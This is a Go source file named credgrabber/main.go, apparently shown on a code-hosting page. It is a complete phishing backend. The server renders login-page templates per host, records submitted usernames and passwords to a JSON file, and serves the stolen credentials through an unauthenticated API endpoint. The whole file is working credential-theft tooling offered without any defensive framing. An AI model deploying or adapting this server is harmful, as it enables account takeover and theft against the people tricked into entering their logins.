credgrabber/main.go

91 lines
2.0 KiB
Go
Raw Normal View History

2013-01-06 22:12:18 -08:00
package main
import (
"encoding/json"
"flag"
"io/ioutil"
2013-01-06 22:12:18 -08:00
"log"
"net/http"
"path/filepath"
2013-01-06 22:12:18 -08:00
"sync"
"text/template"
)
type Cred struct {
Name string
Password string
}
var creds = make([]Cred, 0)
var m = sync.Mutex{}
var addr = flag.String("addr", ":8000", "http service address")
var static_files = flag.String("static", "./static", "location of static files")
var db_file = flag.String("db", "db.json", "output database")
var template_dir = flag.String("templates", "templates", "template dir")
var templates *template.Template
2013-01-06 22:12:18 -08:00
func homeHandler(c http.ResponseWriter, req *http.Request) {
templates.Execute(c, req.Host)
2013-01-06 22:12:18 -08:00
}
func passHandler(resp http.ResponseWriter, req *http.Request) {
un := req.FormValue("username")
pw := req.FormValue("password")
c := Cred{un, pw}
m.Lock()
defer m.Unlock()
creds = append(creds, c)
b, err := json.Marshal(creds)
if err != nil {
log.Fatal(err)
}
err = ioutil.WriteFile(*db_file, b, 0644)
if err != nil {
log.Fatal(err)
}
2013-01-06 22:12:18 -08:00
http.Redirect(resp, req, "/", http.StatusTemporaryRedirect)
}
2013-01-07 07:55:07 -08:00
func credHandler(resp http.ResponseWriter, req *http.Request) {
b, err := json.Marshal(creds)
if err != nil {
log.Fatal(err)
}
resp.Write(b)
}
func init_db() {
b, err := ioutil.ReadFile(*db_file)
if err != nil {
log.Println("Problem opening db file", err)
}
err = json.Unmarshal(b, &creds)
if err != nil {
log.Println("Problem parsing db file", err)
creds = make([]Cred, 0)
}
}
2013-01-06 22:12:18 -08:00
func main() {
flag.Parse()
init_db()
pattern := filepath.Join(*template_dir, "*.html")
var err error
templates, err = template.ParseGlob(pattern)
if err != nil {
println(*template_dir)
println(pattern)
log.Fatal("problem parsing template dir:", *template_dir)
}
2013-01-06 22:12:18 -08:00
http.HandleFunc("/", homeHandler)
http.HandleFunc("/pass", passHandler)
2013-01-07 07:55:07 -08:00
http.HandleFunc("/api/1.0/creds/", credHandler)
2013-01-06 22:12:18 -08:00
http.Handle("/s/", http.StripPrefix("/s/",
http.FileServer(http.Dir(*static_files))))
if err := http.ListenAndServe(*addr, nil); err != nil {
log.Fatal("ListenAndServe:", err)
}
}